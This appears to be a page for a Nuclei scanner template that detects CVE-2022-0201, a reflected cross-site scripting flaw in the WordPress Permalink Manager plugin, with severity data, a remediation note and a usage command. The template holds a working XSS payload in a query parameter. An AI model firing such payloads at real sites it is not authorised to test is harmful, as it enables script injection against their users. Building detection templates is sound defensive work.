WordPress Permalink Manager <2.2.15 - Cross-Site Scripting

ID: CVE-2022-0201

Severity: medium

Author: Akincibor

Tags: cve,cve2022,wp-plugin,wpscan,xss,wordpress,permalink_manager_lite_project

Description

WordPress Permalink Manager Lite and Pro plugins before 2.2.15 contain a reflected cross-site scripting vulnerability. They do not sanitize and escape query parameters before outputting them back in the debug page.

YAML Source

id: CVE-2022-0201

info:
  name: WordPress Permalink Manager <2.2.15 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress Permalink Manager Lite and Pro plugins before 2.2.15 contain a reflected cross-site scripting vulnerability. They do not sanitize and escape query parameters before outputting them back in the debug page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update to WordPress Permalink Manager version 2.2.15 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/f274b0d8-74bf-43de-9051-29ce36d78ad4
    - https://plugins.trac.wordpress.org/changeset/2656512
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0201
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.41295
    cpe: cpe:2.3:a:permalink_manager_lite_project:permalink_manager_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: permalink_manager_lite_project
    product: permalink_manager_lite
    framework: wordpress
  tags: cve,cve2022,wp-plugin,wpscan,xss,wordpress,permalink_manager_lite_project

http:
  - method: GET
    path:
      - '{{BaseURL}}/index.php?p=%3Cimg%20src%20onerror=alert(/XSS/)%3E&debug_url=1'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src onerror=alert(/XSS/)>'
          - 'pm_query'
        condition: and

      - type: word
        part: header
        words:
          - text/html
# digest: 4a0a00473045022100eb36dbdd37b973f174db805af6207810b2d891e5b380e73c7edbf88fc271fe8f02200eff6eb8661998ced35272f3ea5ad310709bc443e923b298c090ac25e685afc1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0201.yaml"

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